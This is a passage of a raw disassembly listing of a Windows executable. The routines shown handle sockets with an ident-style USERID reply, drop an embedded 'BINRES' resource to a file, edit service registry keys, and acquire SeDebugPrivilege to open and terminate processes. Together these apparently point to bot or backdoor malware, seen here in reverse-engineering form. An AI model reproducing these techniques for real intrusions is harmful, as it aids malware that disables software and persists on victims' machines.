		push	edx
		lea	edx, [esp+0A8h+var_48]
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s\r\n"
		push	edx
		nop
		call	sub_5EE1E5
		add	esp, 14h
		lea	eax, [esp+9Ch+var_48]
		push	ebx
		push	40h
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		mov	esi, dword_50FC88
		push	ebp
		call	esi	; closesocket
		lea	ecx, [esp+0A0h+var_7C]
		mov	[esp+0A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0A0h+var_90]
		push	ecx
		call	esi	; closesocket
		mov	byte_4E6ED9, bl
		pop	edi
		jmp	short loc_41F9FE
; ---------------------------------------------------------------------------


loc_41F9E7:				; CODE XREF: sub_41F860+67j
		push	7D0h
		nop
		call	near ptr 28302B0h
		jmp	short loc_41FA01
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F860+4Ej
		mov	ebp, [esp+9Ch+var_90]
		mov	esi, dword_50FC88


loc_41F9FE:				; CODE XREF: sub_41F860+185j
		push	ebp
		call	esi	; closesocket


loc_41FA01:				; CODE XREF: sub_41F860+38j
					; sub_41F860+192j
		mov	ecx, [esp+9Ch+var_C]
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 90h
		retn
sub_41F860	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FA90	proc near		; CODE XREF: sub_401ABEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		jz	short loc_41FACB
		dec	eax
		jz	short loc_41FAB4
		dec	eax
		jnz	short loc_41FAF1
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 4
		call	sub_401DCA
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FAB4:				; CODE XREF: sub_41FA90+8j
		mov	ecx, dword_50BB68
		mov	dword_50BB4C, 7
		call	sub_401028
		jmp	short loc_41FAF1
; ---------------------------------------------------------------------------


loc_41FACB:				; CODE XREF: sub_41FA90+5j
		mov	ecx, dword_50BB68
		xor	eax, eax
		mov	dword_50BB54, eax
		mov	dword_50BB4C, 1
		mov	dword_50BB5C, eax
		mov	dword_50BB60, eax
		call	sub_401744


loc_41FAF1:				; CODE XREF: sub_41FA90+Bj
					; sub_41FA90+22j ...
		mov	eax, dword_50BB6C
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		nop
		call	near ptr 28F079Eh
		retn	4
sub_41FA90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FB30:				; CODE XREF: ___:loc_401956j
		push	esi
		xor	esi, esi
		push	offset sub_401ABE
		mov	ecx, offset byte_44794F
		mov	dword_50BB48, 20h
		mov	dword_50BB4C, 2
		mov	dword_50BB50, 3
		mov	dword_50BB54, esi
		mov	dword_50BB58, esi
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		call	sub_4017E4
		push	eax
		call	near ptr 28F03CCh
		nop
		cmp	eax, esi
		mov	dword_50BB6C, eax
		jz	short loc_41FBAA
		push	offset dword_50BB48
		push	eax
		mov	dword_50BB4C, 4
		mov	dword_50BB5C, esi
		mov	dword_50BB60, esi
		call	near ptr 28F079Eh
		nop


loc_41FBAA:				; CODE XREF: ___:0041FB86j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FBD0	proc near		; CODE XREF: sub_401069j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		mov	dword ptr [esi], offset	off_43E068
		mov	eax, esi
		pop	esi
		retn
sub_41FBD0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FC00	proc near		; CODE XREF: sub_401CDFj

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		sub	esp, 110h
		mov	dword_50BB68, ecx
		push	100h
		mov	ecx, offset byte_44794F
		call	sub_4017E4
		push	eax
		lea	eax, [esp+118h+var_100]
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		lea	edx, [esp+110h+var_110]
		lea	ecx, [esp+110h+var_100]
		xor	eax, eax
		push	edx
		mov	[esp+114h+var_110], ecx
		mov	[esp+114h+var_10C], offset loc_401956
		mov	[esp+114h+var_108], eax
		mov	[esp+114h+var_104], eax
		nop
		call	near ptr 28F0000h
		xor	eax, eax
		add	esp, 110h
		retn
sub_41FC00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: ___:00401C30j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		push	offset aWb	; "wb"
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41FCA2
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCA2:				; CODE XREF: ___:0041FC9Aj
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2880BF0h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41FCB9
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCB9:				; CODE XREF: ___:0041FCB1j
		mov	edx, [esp+14h]
		push	offset aBinres	; "BINRES"
		and	edx, 0FFFFh
		push	edx
		push	esi
		call	near ptr 27805E5h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41FCDC
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41FCDC:				; CODE XREF: ___:0041FCD4j
		push	ebp
		push	edi
		push	esi
		nop
		call	near ptr 2790000h
		push	edi
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 2790473h
		push	ebp
		mov	esi, eax
		nop
		call	near ptr 2790862h
		push	ebx
		push	esi
		push	1
		push	eax
		nop
		call	near ptr 77C4173Bh
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 14h
		mov	al, 1
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD50	proc near		; CODE XREF: sub_40187Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FD78
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_41FD71
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD71:				; CODE XREF: sub_41FD50+1Aj
		mov	eax, [eax+0Ch]
		mov	ecx, [eax]
		mov	eax, [ecx]


loc_41FD78:				; CODE XREF: sub_41FD50+Fj
		pop	esi
		retn
sub_41FD50	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_401A8Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FDAE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FDAE:				; CODE XREF: sub_41FD90+15j
		mov	ecx, [esp+14h+arg_4]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_0]
		mov	word ptr [esp+14h+var_10+2], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+14h+var_C], eax
		lea	eax, [esp+14h+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FE0A
		push	esi
		nop
		call	near ptr 71AB9639h
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE0A:				; CODE XREF: sub_41FD90+69j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FD90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FE50	proc near		; CODE XREF: sub_40197Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41FE6E
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FE6E:				; CODE XREF: sub_41FE50+15j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	esi
		mov	word ptr [esp+20h+var_10+2], ax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41FEC0
		push	esi
		call	near ptr 71AB9639h
		nop
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41FEC0:				; CODE XREF: sub_41FE50+5Fj
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
sub_41FE50	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FEF0	proc near		; CODE XREF: sub_4012DFj

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, [esp+14h+arg_0]
		push	0Ah
		push	esi
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF24
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_10]
		push	eax
		push	ecx
		push	esi
		mov	[esp+20h+arg_0], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF27


loc_41FF24:				; CODE XREF: sub_41FEF0+14j
		or	eax, 0FFFFFFFFh


loc_41FF27:				; CODE XREF: sub_41FEF0+32j
		pop	esi
		add	esp, 10h
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41FF40	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41FF76
		mov	esi, [esp+8+arg_0]
		push	0Ah
		push	esi
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FF76
		lea	eax, [esp+8+arg_4]
		mov	[esp+8+arg_4], 10h
		push	eax
		push	edi
		push	esi
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41FF79


loc_41FF76:				; CODE XREF: sub_41FF40+8j
					; sub_41FF40+1Aj
		or	eax, 0FFFFFFFFh


loc_41FF79:				; CODE XREF: sub_41FF40+34j
		pop	edi
		pop	esi
		retn
sub_41FF40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41FF90	proc near		; CODE XREF: sub_4015FAj

var_1128	= dword	ptr -1128h
var_1124	= byte ptr -1124h
var_1112	= byte ptr -1112h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_1108	= byte ptr -1108h
var_1104	= byte ptr -1104h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_104		= byte ptr  108h
arg_110		= byte ptr  114h

		mov	eax, 1114h
		call	sub_436840
		lea	eax, [esp+arg_4]
		lea	ecx, [esp+arg_110]
		push	eax
		push	1000h
		push	ecx
		mov	byte ptr [esp+0Fh], 0
		call	sub_436FC0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41FFC3
		xor	al, al
		add	esp, 1114h
		retn
; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FF90+28j
		mov	eax, [esp+0Ch+var_4]
		shr	eax, 2
		jz	loc_42008D
		push	ebx
		mov	ebx, dword_50F874
		push	ebp
		push	esi
		push	edi
		lea	ebp, [esp+1Ch+arg_104]
		mov	[esp+1Ch+var_8], eax


loc_41FFE5:				; CODE XREF: sub_41FF90+F3j
		mov	edi, offset aUnknown ; "unknown"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+20h]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+0]
		push	ecx
		push	0
		push	411h
		call	ebx
		mov	esi, eax
		test	esi, esi
		jz	short loc_420077
		lea	edx, [esp+18h]
		lea	eax, [esp+1Ch]
		push	edx
		push	4
		push	eax
		push	esi
		call	sub_436FBA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_420070
		mov	edx, [esp+1144h+var_1128]
		lea	ecx, [esp+1144h+var_1124]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	sub_436FB4
; ---------------------------------------------------------------------------
		db 8Bh,	84h, 24h
		dd 1128h, 20244C8Dh, 0E8905150h, 778261F2h, 8508C483h
		dd 500D75C0h, 0FF96E856h, 0C690022Dh, 1132444h
; ---------------------------------------------------------------------------


loc_420070:				; CODE XREF: sub_41FF90+A2j
		push	esi
		nop
		call	near ptr 2830BD8h


loc_420077:				; CODE XREF: sub_41FF90+8Cj
		mov	eax, dword ptr [esp+1138h+var_1124]
		add	ebp, 4
		dec	eax
		mov	dword ptr [esp+1138h+var_1124],	eax
		jnz	loc_41FFE5
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx


loc_42008D:				; CODE XREF: sub_41FF90+3Aj
		mov	al, byte ptr [esp+1128h+var_1128+3]
		add	esp, 1114h
		retn
sub_41FF90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4200F0	proc near		; CODE XREF: sub_4019FBj

var_490		= byte ptr -490h
var_488		= byte ptr -488h
var_482		= byte ptr -482h
var_480		= byte ptr -480h
var_478		= byte ptr -478h
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_43C		= byte ptr -43Ch
var_438		= byte ptr -438h
var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_38		= byte ptr -38h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4200F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 44Ch
		push	ebx
		push	esi
		mov	esi, [esp+460h+arg_0]
		lea	ecx, [esp+460h+var_424]
		push	esi
		call	sub_401861
		push	eax
		mov	[esp+464h+var_4], 0
		call	sub_401E8D
		add	esp, 4
		lea	ecx, [esp+460h+var_424]
		mov	bl, al
		mov	[esp+460h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_42026A
		lea	ecx, [esp+460h+var_43C]
		call	sub_401424
		push	esi
		lea	eax, [esp+464h+var_43C]
		mov	ebx, 1
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		mov	[esp+46Ch+var_4], ebx
		mov	[esp+46Ch+var_454], 0
		mov	[esp+46Ch+var_450], 80h
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+460h+var_454]
		push	ecx
		push	20019h
		push	0
		lea	ecx, [esp+46Ch+var_43C]
		call	sub_401681
		push	eax
		push	80000002h
		nop
		call	near ptr 2940000h
		mov	ecx, [esp+474h+var_468]
		lea	edx, [esp+474h+var_464]
		lea	eax, [esp+474h+var_420]
		push	edx
		push	eax
		push	0
		push	0
		push	offset aImagepath ; "ImagePath"
		push	ecx
		nop
		call	near ptr 28E0000h
		lea	edx, [esp+0Bh]
		lea	eax, [esp+48Ch+var_438]
		push	edx
		push	eax
		lea	ecx, [esp+494h+var_478]
		nop
		call	near ptr 76081F67h
		mov	ecx, dword_50F9AC
		mov	[esp+494h+var_38], 2
		mov	edx, [ecx]
		lea	ecx, [esp+494h+var_480]
		push	edx
		push	offset asc_443B04 ; "\\"
		nop
		call	near ptr 76085AE4h
		inc	eax
		lea	ecx, [esp+49Ch+var_488]
		push	eax
		push	0
		call	near ptr 760976AFh
		nop
		lea	ecx, [esp+4A4h+var_490]
		call	near ptr 7608B84Ch
		nop
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 24244C8Dh, 0FE145CE8h, 32E850FFh, 90023C07h,	14244C8Dh
		dd 5C249C88h, 0E8000004h, 75C6F249h, 244C8D90h,	2484C724h
		dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh
		dd 44Ch, 0D8964h, 81000000h, 458C4h
		db 0, 0C3h
; ---------------------------------------------------------------------------


loc_42026A:				; CODE XREF: sub_4200F0+5Aj
		mov	ecx, [esp+460h+var_C]
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 458h
		retn
sub_4200F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420300	proc near		; CODE XREF: sub_401E8Dj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	ebx
		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900956h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_420325
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420325:				; CODE XREF: sub_420300+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	ebx
		nop
		call	near ptr 28A079Ch
		mov	esi, eax
		test	esi, esi
		jnz	short loc_420350
		push	ebx
		nop
		call	near ptr 2910304h
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 1Ch
		retn
; ---------------------------------------------------------------------------


loc_420350:				; CODE XREF: sub_420300+3Fj
		push	ebp
		push	edi
		mov	edi, dword_50F740
		push	esi
		call	edi
		push	esi
		call	edi
		mov	ebp, dword_50F73C
		lea	eax, [esp+2Ch+var_1C]
		push	eax
		push	1
		push	esi
		call	ebp
		push	esi
		call	edi
		lea	ecx, [esp+2Ch+var_1C]
		push	ecx
		push	1
		push	esi
		call	ebp
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	ebx
		call	esi
		pop	edi
		pop	ebp
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 1Ch
		retn
sub_420300	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4203D0	proc near		; CODE XREF: sub_4018A7j

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		lea	eax, [esp+34h+var_28]
		push	edi
		xor	esi, esi
		push	eax
		push	esi
		push	28h
		xor	bl, bl
		mov	[esp+44h+var_24], 10h
		call	near ptr 27709A7h
		nop
		push	eax
		call	near ptr 28C14D6h
		nop
		mov	ebp, dword_50F718
		mov	edi, dword_50F8D8
		test	eax, eax
		jnz	short loc_420420
		lea	ecx, [esp+38h+var_28]
		push	ecx
		push	28h
		nop
		call	near ptr 27709E7h
		push	eax
		call	near ptr 28C1AC8h
		nop
		test	eax, eax
		jz	short loc_42047F


loc_420420:				; CODE XREF: sub_4203D0+36j
		cmp	[esp+38h+var_28], esi
		jz	short loc_420483
		lea	edx, [esp+38h+var_1C]
		mov	[esp+38h+var_20], 1
		push	edx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	esi
		mov	[esp+44h+var_14], 2
		call	near ptr 28D0000h
		nop
		lea	eax, [esp+38h+var_24]
		lea	ecx, [esp+38h+var_10]
		push	eax
		mov	eax, [esp+3Ch+var_28]
		push	ecx
		lea	edx, [esp+40h+var_20]
		push	10h
		push	edx
		push	esi
		push	eax
		call	ebp
		test	eax, eax
		jz	short loc_420478
		nop
		call	near ptr 27B0888h
		cmp	eax, 514h
		jnz	short loc_420483
		mov	ecx, [esp+38h+var_28]
		push	ecx
		jmp	short loc_42047D
; ---------------------------------------------------------------------------


loc_420478:				; CODE XREF: sub_4203D0+92j
		mov	edx, [esp+38h+var_28]
		push	edx


loc_42047D:				; CODE XREF: sub_4203D0+A6j
		call	edi


loc_42047F:				; CODE XREF: sub_4203D0+4Ej
		mov	[esp+38h+var_28], esi


loc_420483:				; CODE XREF: sub_4203D0+54j
					; sub_4203D0+9Fj
		mov	eax, [esp+38h+arg_0]
		push	eax
		push	esi
		push	411h
		nop
		call	near ptr 2780000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4204A8
		push	0
		push	esi
		call	near ptr 2700000h
		nop
		push	esi
		mov	bl, 1
		call	edi


loc_4204A8:				; CODE XREF: sub_4203D0+C8j
		mov	eax, [esp+38h+var_28]
		test	eax, eax
		jz	short loc_4204C7
		push	0
		push	0
		lea	ecx, [esp+40h+var_10]
		push	10h
		push	ecx
		push	0
		push	eax
		call	ebp
		mov	edx, [esp+38h+var_28]
		push	edx
		call	edi


loc_4204C7:				; CODE XREF: sub_4203D0+DEj
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebp
		pop	ebx
		add	esp, 28h
		retn
sub_4203D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420530	proc near		; CODE XREF: sub_4011D6j

var_68		= dword	ptr -68h
var_54		= byte ptr -54h
var_4C		= dword	ptr -4Ch
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_F4		= byte ptr  0F8h
arg_100		= byte ptr  104h
arg_10C4	= dword	ptr  10C8h
arg_10D0	= dword	ptr  10D4h
arg_1104	= dword	ptr  1108h
arg_1118	= dword	ptr  111Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420530
		push	eax
		mov	eax, 1130h
		mov	large fs:0, esp
		call	sub_436840
		push	esi
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 2880BF0h
		test	eax, eax
		mov	dword_50BB70, eax
		jnz	short loc_42057C
		push	offset aPsapi_dll ; "PSAPI.DLL"
		nop
		call	near ptr 27D0A0Ch
		test	eax, eax
		mov	dword_50BB70, eax
		jz	loc_4206FA


loc_42057C:				; CODE XREF: sub_420530+32j
		mov	esi, dword_50F8A0
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	eax
		call	esi
		mov	dword_50BB74, eax
		mov	eax, dword_50BB70
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	eax
		call	esi
		mov	ecx, dword_50BB70
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	ecx
		mov	dword_50BB78, eax
		call	esi
		mov	ecx, dword_50BB74
		mov	dword_50BB7C, eax
		test	ecx, ecx
		jz	loc_4206FA
		mov	edx, dword_50BB78
		test	edx, edx
		jz	loc_4206FA
		test	eax, eax
		jz	loc_4206FA
		lea	edx, [esp+30h+var_28]
		lea	eax, [esp+30h+arg_100]
		push	edx
		push	1000h
		push	eax
		call	ecx
		test	eax, eax
		jz	loc_4206FA
		mov	ecx, dword ptr aUnknown	; "unknown"
		mov	eax, dword ptr aUnknown+4
		mov	edx, [esp+3Ch+var_34]
		push	edi
		mov	[esp+40h+var_C], ecx
		mov	[esp+40h+var_8], eax
		mov	ecx, 3Fh
		mov	eax, 0
		lea	edi, [esp+40h+var_4]
		shr	edx, 2
		rep stosd
		jz	loc_4206E1
		push	ebx
		mov	ebx, [esp+44h+arg_1104]
		push	ebp
		mov	ebp, dword_50F874
		lea	edi, [esp+48h+arg_F4]
		mov	[esp+48h+var_38], edx


loc_42063F:				; CODE XREF: sub_420530+1A9j
		mov	ecx, [edi]
		push	ecx
		push	0
		push	410h
		call	ebp
		mov	esi, eax
		test	esi, esi
		jz	short loc_4206CD
		lea	edx, [esp+54h+var_38]
		lea	eax, [esp+54h+var_3C]
		push	edx
		push	4
		push	eax
		push	esi
		call	dword_50BB78
		test	eax, eax
		jz	short loc_4206C6
		mov	edx, [esp+64h+var_4C]
		lea	ecx, [esp+64h+var_28]
		push	104h
		push	ecx
		push	edx
		push	esi
		call	dword_50BB7C
		lea	ecx, [esp+74h+var_54]
		call	sub_401866
		lea	eax, [esp+74h+var_38]
		lea	ecx, [esp+74h+var_54]
		push	eax
		mov	[esp+78h+arg_10D0], 0
		call	sub_4015D7
		mov	ecx, [edi]
		lea	edx, [esp+74h+var_54]
		mov	[esp+35h], ecx
		push	edx
		mov	ecx, ebx
		call	sub_402167
; ---------------------------------------------------------------------------
		lea	ecx, [esp+74h+var_54]
		mov	[esp+74h+arg_10D0], 0FFFFFFFFh
		call	sub_401A6E


loc_4206C6:				; CODE XREF: sub_420530+136j
		push	esi
		nop
		call	near ptr 2830BD8h


loc_4206CD:				; CODE XREF: sub_420530+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42063F
		pop	ebp
		pop	ebx


loc_4206E1:				; CODE XREF: sub_420530+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4206FA:				; CODE XREF: sub_420530+46j
					; sub_420530+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207A0	proc near		; CODE XREF: sub_401866j
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_4207A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4207C0	proc near		; CODE XREF: sub_401A6Ej
		jmp	sub_401226
sub_4207C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4207E0	proc near		; CODE XREF: sub_402144j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
